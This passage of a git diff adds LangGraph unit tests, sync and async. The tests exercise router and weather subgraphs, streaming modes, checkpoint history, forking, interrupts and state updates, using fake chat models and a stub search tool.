RouterState(MessagesState): + route: Literal["weather", "other"] + + router_model = FakeMessagesListChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="router", + args={"dest": "weather"}, + ) + ], + ) + ] + ) + + def router_node(state: RouterState, writer: StreamWriter): + writer("I'm") + system_message = "Classify the incoming query as either about weather or not." + messages = [{"role": "system", "content": system_message}] + state["messages"] + route = router_model.invoke(messages) + return {"route": cast(AIMessage, route).tool_calls[0]["args"]["dest"]} + + def normal_llm_node(state: RouterState): + return {"messages": [AIMessage("Hello!")]} + + def route_after_prediction(state: RouterState): + if state["route"] == "weather": + return "weather_graph" + else: + return "normal_llm_node" + + def weather_graph(state: RouterState): + return subgraph.invoke(state) + + graph = StateGraph(RouterState) + graph.add_node(router_node) + graph.add_node(normal_llm_node) + graph.add_node("weather_graph", weather_graph) + graph.add_edge(START, "router_node") + graph.add_conditional_edges( + "router_node", + route_after_prediction, + path_map=["weather_graph", "normal_llm_node"], + ) + graph.add_edge("normal_llm_node", END) + graph.add_edge("weather_graph", END) + graph = graph.compile(checkpointer=sync_checkpointer) + + if isinstance(sync_checkpointer, InMemorySaver): + assert graph.get_graph(xray=1).draw_mermaid() == snapshot + + config = {"configurable": {"thread_id": "1"}} + thread2 = {"configurable": {"thread_id": "2"}} + inputs = {"messages": [{"role": "user", "content": "what's the weather in sf"}]} + + # run with custom output + assert [ + c for c in graph.stream(inputs, thread2, stream_mode="custom", subgraphs=True) + ] == [ + ((), "I'm"), + ((AnyStr("weather_graph:"),), " very"), + ] + assert [ + c for c in graph.stream(None, thread2, stream_mode="custom", subgraphs=True) + ] == [ + ((AnyStr("weather_graph:"),), " good"), + ] + + # run until interrupt + assert [ + c + for c in graph.stream( + inputs, + config=config, + stream_mode="updates", + subgraphs=True, + durability="exit", + ) + ] == [ + ((), {"router_node": {"route": "weather"}}), + ((AnyStr("weather_graph:"),), {"model_node": {"city": "San Francisco"}}), + ((), {"__interrupt__": ()}), + ] + + # check current state + state = graph.get_state(config) + assert state == StateSnapshot( + values={ + "messages": [_AnyIdHumanMessage(content="what's the weather in sf")], + "route": "weather", + }, + next=("weather_graph",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="weather_graph", + path=(PULL, "weather_graph"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("weather_graph:"), + } + }, + ), + ), + interrupts=(), + ) + + # update + graph.update_state(state.tasks[0].state, {"city": "la"}) + + # run after update + assert [ + c + for c in graph.stream( + None, config=config, stream_mode="updates", subgraphs=True + ) + ] == [ + ( + (AnyStr("weather_graph:"),), + { + "weather_node": { + "messages": [{"role": "assistant", "content": "I'ts sunny in la!"}] + } + }, + ), + ( + (), + { + "weather_graph": { + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf"), + _AnyIdAIMessage(content="I'ts sunny in la!"), + ] + } + }, + ), + ] + + # try updating acting as weather node + config = {"configurable": {"thread_id": "14"}} + inputs = {"messages": [{"role": "user", "content": "what's the weather in sf"}]} + assert [ + c + for c in graph.stream( + inputs, + config=config, + stream_mode="updates", + subgraphs=True, + durability="exit", + ) + ] == [ + ((), {"router_node": {"route": "weather"}}), + ((AnyStr("weather_graph:"),), {"model_node": {"city": "San Francisco"}}), + ((), {"__interrupt__": ()}), + ] + state = graph.get_state(config, subgraphs=True) + assert state == StateSnapshot( + values={ + "messages": [_AnyIdHumanMessage(content="what's the weather in sf")], + "route": "weather", + }, + next=("weather_graph",), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="weather_graph", + path=(PULL, "weather_graph"), + state=StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf") + ], + "city": "San Francisco", + }, + next=("weather_node",), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("weather_graph:"): AnyStr(), + } + ), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="weather_node", + path=(PULL, "weather_node"), + ), + ), + interrupts=(), + ), + ), + ), + interrupts=(), + ) + graph.update_state( + state.tasks[0].state.config, + {"messages": [{"role": "assistant", "content": "rainy"}]}, + as_node="weather_node", + ) + state = graph.get_state(config, subgraphs=True) + assert state == StateSnapshot( + values={ + "messages": [_AnyIdHumanMessage(content="what's the weather in sf")], + "route": "weather", + }, + next=("weather_graph",), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="weather_graph", + path=(PULL, "weather_graph"), + state=StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf"), + _AnyIdAIMessage(content="rainy"), + ], + "city": "San Francisco", + }, + next=(), + config={ + "configurable": { + "thread_id": "14", + "checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("weather_graph:"): AnyStr(), + } + ), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "14", + "checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("weather_graph:"): AnyStr(), + } + ), + } + } + ), + interrupts=(), + tasks=(), + ), + ), + ), + interrupts=(), + ) + assert [ + c + for c in graph.stream( + None, config=config, stream_mode="updates", subgraphs=True + ) + ] == [ + ( + (), + { + "weather_graph": { + "messages": [ + _AnyIdHumanMessage(content="what's the weather in sf"), + _AnyIdAIMessage(content="rainy"), + ] + } + }, + ), + ] + + # run with custom output, without subgraph streaming, should omit subgraph chunks + assert [ + c + for c in graph.stream( + inputs, {"configurable": {"thread_id": "3"}}, stream_mode="custom" + ) + ] == [ + "I'm", + ] + + # run with messages output, with subgraph streaming, should inc subgraph messages + assert [ + c + for c in graph.stream( + inputs, + {"configurable": {"thread_id": "4"}}, + stream_mode="messages", + subgraphs=True, + ) + ] == [ + ( + (), + ( + _AnyIdAIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="router", + args={"dest": "weather"}, + ) + ], + ), + { + "thread_id": "4", + "langgraph_step": 1, + "langgraph_node": "router_node", + "langgraph_triggers": ("branch:to:router_node",), + "langgraph_path": ("__pregel_pull", "router_node"), + "langgraph_checkpoint_ns": AnyStr("router_node:"), + "checkpoint_ns": AnyStr("router_node:"), + "ls_provider": "fakemessageslistchatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ), + ( + (AnyStr("weather_graph:"),), + ( + _AnyIdAIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="get_weather", + args={"city": "San Francisco"}, + ) + ], + ), + { + "thread_id": "4", + "langgraph_step": 1, + "langgraph_node": "model_node", + "langgraph_triggers": ("branch:to:model_node",), + "langgraph_path": ("__pregel_pull", "model_node"), + "langgraph_checkpoint_ns": AnyStr("weather_graph:"), + "checkpoint_ns": AnyStr("weather_graph:"), + "ls_provider": "fakemessageslistchatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ), + ] + + # run with messages output, without subgraph streaming, should exc subgraph messages + assert [ + c + for c in graph.stream( + inputs, + {"configurable": {"thread_id": "5"}}, + stream_mode="messages", + ) + ] == [ + ( + _AnyIdAIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="router", + args={"dest": "weather"}, + ) + ], + ), + { + "thread_id": "5", + "langgraph_step": 1, + "langgraph_node": "router_node", + "langgraph_triggers": ("branch:to:router_node",), + "langgraph_path": ("__pregel_pull", "router_node"), + "langgraph_checkpoint_ns": AnyStr("router_node:"), + "checkpoint_ns": AnyStr("router_node:"), + "ls_provider": "fakemessageslistchatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ] + + +def test_subgraph_to_end_does_not_warn() -> None: + """Regression test for https://github.com/langchain-ai/langgraph/issues/5572.""" + + class State(TypedDict): + x: str + + def update_x(state: State): + return Command(goto=END, update={"x": state["x"] + "!"}) + + # Subgraph + subgraph_builder = StateGraph(State) + subgraph_builder.add_node("update_x", update_x) + subgraph_builder.add_edge(START, "update_x") + subgraph_builder.add_edge("update_x", END) + subgraph = subgraph_builder.compile() + + # Parent graph + builder = StateGraph(State) + builder.add_node("subgraph_node", subgraph) + builder.add_edge(START, "subgraph_node") + builder.add_edge("subgraph_node", END) + graph = builder.compile() + + response = graph.invoke({"x": "hello"}) + assert response == {"x": "hello!"} diff --git a/libs/langgraph/tests/test_large_cases_async.py b/libs/langgraph/tests/test_large_cases_async.py new file mode 100644 index 0000000..1db144a --- /dev/null +++ b/libs/langgraph/tests/test_large_cases_async.py @@ -0,0 +1,4056 @@ +import asyncio +import operator +import re +import sys +from typing import ( + Annotated, + Literal, + cast, +) + +import pytest +from langchain_core.messages import AnyMessage, ToolCall +from langchain_core.runnables import RunnableConfig, RunnablePick +from langchain_core.version import VERSION as LANGCHAIN_CORE_VERSION +from langgraph.checkpoint.base import BaseCheckpointSaver +from langgraph.prebuilt.chat_agent_executor import create_react_agent +from langgraph.prebuilt.tool_node import ToolNode +from pytest_mock import MockerFixture +from typing_extensions import TypedDict + +from langgraph._internal._constants import PULL, PUSH +from langgraph.channels.last_value import LastValue +from langgraph.channels.untracked_value import UntrackedValue +from langgraph.constants import END, START +from langgraph.graph.message import add_messages +from langgraph.graph.state import StateGraph +from langgraph.pregel import NodeBuilder, Pregel +from langgraph.types import PregelTask, Send, StateSnapshot, StreamWriter +from tests.any_int import AnyInt +from tests.any_str import AnyDict, AnyStr, UnsortedSequence +from tests.fake_chat import FakeChatModel +from tests.fake_tracer import FakeTracer +from tests.messages import ( + _AnyIdAIMessage, + _AnyIdAIMessageChunk, + _AnyIdHumanMessage, + _AnyIdToolMessage, +) + +pytestmark = pytest.mark.anyio + + +async def test_invoke_two_processes_in_out_interrupt( + async_checkpointer: BaseCheckpointSaver, mocker: MockerFixture +) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + two = NodeBuilder().subscribe_only("inbox").do(add_one).write_to("output") + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "inbox": LastValue(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + checkpointer=async_checkpointer, + interrupt_after_nodes=["one"], + ) + thread1 = {"configurable": {"thread_id": "1"}} + thread2 = {"configurable": {"thread_id": "2"}} + + # start execution, stop at inbox + assert await app.ainvoke(2, thread1, durability="async") is None + + # inbox == 3 + checkpoint = await async_checkpointer.aget(thread1) + assert checkpoint is not None + assert checkpoint["channel_values"]["inbox"] == 3 + + # resume execution, finish + assert await app.ainvoke(None, thread1, durability="async") == 4 + + # start execution again, stop at inbox + assert await app.ainvoke(20, thread1, durability="async") is None + + # inbox == 21 + checkpoint = await async_checkpointer.aget(thread1) + assert checkpoint is not None + assert checkpoint["channel_values"]["inbox"] == 21 + + # send a new value in, interrupting the previous execution + assert await app.ainvoke(3, thread1, durability="async") is None + assert await app.ainvoke(None, thread1, durability="async") == 5 + + # start execution again, stopping at inbox + assert await app.ainvoke(20, thread2, durability="async") is None + + # inbox == 21 + snapshot = await app.aget_state(thread2) + assert snapshot.values["inbox"] == 21 + assert snapshot.next == ("two",) + + # update the state, resume + await app.aupdate_state(thread2, 25, as_node="one") + assert await app.ainvoke(None, thread2) == 26 + + # no pending tasks + snapshot = await app.aget_state(thread2) + assert snapshot.next == () + + # list history + history = [c async for c in app.aget_state_history(thread1)] + assert len(history) == 8 + assert history == [ + StateSnapshot( + values={"inbox": 4, "output": 5, "input": 3}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 6, + }, + created_at=AnyStr(), + parent_config=history[1].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 4, "output": 4, "input": 3}, + tasks=(PregelTask(AnyStr(), "two", (PULL, "two"), result={"output": 5}),), + next=("two",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 5, + }, + created_at=AnyStr(), + parent_config=history[2].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 21, "output": 4, "input": 3}, + tasks=(PregelTask(AnyStr(), "one", (PULL, "one"), result={"inbox": 4}),), + next=("one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": 4, + }, + created_at=AnyStr(), + parent_config=history[3].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 21, "output": 4, "input": 20}, + tasks=(PregelTask(AnyStr(), "two", (PULL, "two")),), + next=("two",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=history[4].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 3, "output": 4, "input": 20}, + tasks=(PregelTask(AnyStr(), "one", (PULL, "one"), result={"inbox": 21}),), + next=("one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": 2, + }, + created_at=AnyStr(), + parent_config=history[5].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 3, "output": 4, "input": 2}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=history[6].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 3, "input": 2}, + tasks=(PregelTask(AnyStr(), "two", (PULL, "two"), result={"output": 4}),), + next=("two",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=history[7].config, + interrupts=(), + ), + StateSnapshot( + values={"input": 2}, + tasks=(PregelTask(AnyStr(), "one", (PULL, "one"), result={"inbox": 3}),), + next=("one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": -1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + + # forking from any previous checkpoint should re-run nodes + assert [ + c async for c in app.astream(None, history[0].config, stream_mode="updates") + ] == [] + assert [ + c async for c in app.astream(None, history[1].config, stream_mode="updates") + ] == [ + {"two": {"output": 5}}, + ] + assert [ + c async for c in app.astream(None, history[2].config, stream_mode="updates") + ] == [ + {"one": {"inbox": 4}}, + {"__interrupt__": ()}, + ] + + +async def test_fork_always_re_runs_nodes( + async_checkpointer: BaseCheckpointSaver, mocker: MockerFixture +) -> None: + add_one = mocker.Mock(side_effect=lambda _: 1) + + builder = StateGraph(Annotated[int, operator.add]) + builder.add_node("add_one", add_one) + builder.add_edge(START, "add_one") + builder.add_conditional_edges("add_one", lambda cnt: "add_one" if cnt < 6 else END) + graph = builder.compile(checkpointer=async_checkpointer) + + thread1 = {"configurable": {"thread_id": "1"}} + + # start execution, stop at inbox + assert [ + c + async for c in graph.astream( + 1, thread1, stream_mode=["values", "updates"], durability="async" + ) + ] == [ + ("values", 1), + ("updates", {"add_one": 1}), + ("values", 2), + ("updates", {"add_one": 1}), + ("values", 3), + ("updates", {"add_one": 1}), + ("values", 4), + ("updates", {"add_one": 1}), + ("values", 5), + ("updates", {"add_one": 1}), + ("values", 6), + ] + + # list history + history = [c async for c in graph.aget_state_history(thread1)] + assert history == [ + StateSnapshot( + values=6, + next=(), + tasks=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 5, + }, + created_at=AnyStr(), + parent_config=history[1].config, + interrupts=(), + ), + StateSnapshot( + values=5, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + created_at=AnyStr(), + parent_config=history[2].config, + interrupts=(), + ), + StateSnapshot( + values=4, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=history[3].config, + interrupts=(), + ), + StateSnapshot( + values=3, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 2, + }, + created_at=AnyStr(), + parent_config=history[4].config, + interrupts=(), + ), + StateSnapshot( + values=2, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=history[5].config, + interrupts=(), + ), + StateSnapshot( + values=1, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=history[6].config, + interrupts=(), + ), + StateSnapshot( + values=0, + tasks=(PregelTask(AnyStr(), "__start__", (PULL, "__start__"), result=1),), + next=("__start__",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": -1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + + # forking from any previous checkpoint should re-run nodes + assert [ + c async for c in graph.astream(None, history[0].config, stream_mode="updates") + ] == [] + assert [ + c async for c in graph.astream(None, history[1].config, stream_mode="updates") + ] == [ + {"add_one": 1}, + ] + assert [ + c async for c in graph.astream(None, history[2].config, stream_mode="updates") + ] == [ + {"add_one": 1}, + {"add_one": 1}, + ] + + +async def test_conditional_graph_state(async_checkpointer: BaseCheckpointSaver) -> None: + from langchain_core.agents import AgentAction, AgentFinish + from langchain_core.language_models.fake import FakeStreamingListLLM + from langchain_core.prompts import PromptTemplate + from langchain_core.tools import tool + + class AgentState(TypedDict): + input: Annotated[str, UntrackedValue] + agent_outcome: AgentAction | AgentFinish | None + intermediate_steps: Annotated[list[tuple[AgentAction, str]], operator.add] + + # Assemble the tools + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + # Construct the agent + prompt = PromptTemplate.from_template("Hello!") + + llm = FakeStreamingListLLM( + responses=[ + "tool:search_api:query", + "tool:search_api:another", + "finish:answer", + ] + ) + + def agent_parser(input: str) -> dict[str, AgentAction | AgentFinish]: + if input.startswith("finish"): + _, answer = input.split(":") + return { + "agent_outcome": AgentFinish( + return_values={"answer": answer}, log=input + ) + } + else: + _, tool_name, tool_input = input.split(":") + return { + "agent_outcome": AgentAction( + tool=tool_name, tool_input=tool_input, log=input + ) + } + + agent = prompt | llm | agent_parser + + # Define tool execution logic + def execute_tools(data: AgentState) -> dict: + # execute the tool + agent_action: AgentAction = data.pop("agent_outcome") + observation = {t.name: t for t in tools}[agent_action.tool].invoke( + agent_action.tool_input + ) + return {"intermediate_steps": [[agent_action, observation]]} + + # Define decision-making logic + def should_continue(data: AgentState) -> str: + # Logic to decide whether to continue in the loop or exit + if isinstance(data["agent_outcome"], AgentFinish): + return "exit" + else: + return "continue" + + # Define a new graph + workflow = StateGraph(AgentState) + + workflow.add_node("agent", agent) + workflow.add_node("tools", execute_tools) + + workflow.set_entry_point("agent") + + workflow.add_conditional_edges( + "agent", should_continue, {"continue": "tools", "exit": END} + ) + + workflow.add_edge("tools", "agent") + + app = workflow.compile() + + assert await app.ainvoke({"input": "what is weather in sf"}) == { + "input": "what is weather in sf", + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ], + [ + AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + "result for another", + ], + ], + "agent_outcome": AgentFinish( + return_values={"answer": "answer"}, log="finish:answer" + ), + } + + assert [c async for c in app.astream({"input": "what is weather in sf"})] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + } + }, + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ] + ], + } + }, + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + "result for another", + ], + ], + } + }, + { + "agent": { + "agent_outcome": AgentFinish( + return_values={"answer": "answer"}, log="finish:answer" + ), + } + }, + ] + + patches = [c async for c in app.astream_log({"input": "what is weather in sf"})] + patch_paths = {op["path"] for log in patches for op in log.ops} + + # Check that agent (one of the nodes) has its output streamed to the logs + assert "/logs/agent/streamed_output/-" in patch_paths + # Check that agent (one of the nodes) has its final output set in the logs + assert "/logs/agent/final_output" in patch_paths + assert [ + p["value"] + for log in patches + for p in log.ops + if p["path"] == "/logs/agent/final_output" + or p["path"] == "/logs/agent:2/final_output" + or p["path"] == "/logs/agent:3/final_output" + ] == [ + { + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ) + }, + { + "agent_outcome": AgentAction( + tool="search_api", tool_input="another", log="tool:search_api:another" + ) + }, + { + "agent_outcome": AgentFinish( + return_values={"answer": "answer"}, log="finish:answer" + ), + }, + ] + + # test state get/update methods with interrupt_after + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["agent"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"input": "what is weather in sf"}, config, durability="exit" + ) + ] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + } + }, + {"__interrupt__": ()}, + ] + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + await app_w_interrupt.aupdate_state( + config, + { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ) + }, + ) + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + } + }, + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + {"__interrupt__": ()}, + ] + + await app_w_interrupt.aupdate_state( + config, + { + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ) + }, + ) + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ), + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + }, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + # test state get/update methods with interrupt_before + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_before=["tools"], + ) + config = {"configurable": {"thread_id": "2"}} + llm.i = 0 # reset the llm + + assert [ + c + async for c in app_w_interrupt.astream( + {"input": "what is weather in sf"}, config, durability="exit" + ) + ] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + } + }, + {"__interrupt__": ()}, + ] + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + await app_w_interrupt.aupdate_state( + config, + { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ) + }, + ) + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=[ + c async for c in app_w_interrupt.checkpointer.alist(config, limit=2) + ][-1].config, + interrupts=(), + ) + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + } + }, + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + {"__interrupt__": ()}, + ] + + await app_w_interrupt.aupdate_state( + config, + { + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ) + }, + ) + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ), + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + }, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=[ + c async for c in app_w_interrupt.checkpointer.alist(config, limit=2) + ][-1].config, + interrupts=(), + ) + + +async def test_prebuilt_tool_chat() -> None: + from langchain_core.messages import AIMessage, HumanMessage + from langchain_core.tools import tool + + model = FakeChatModel( + messages=[ + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another"}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": 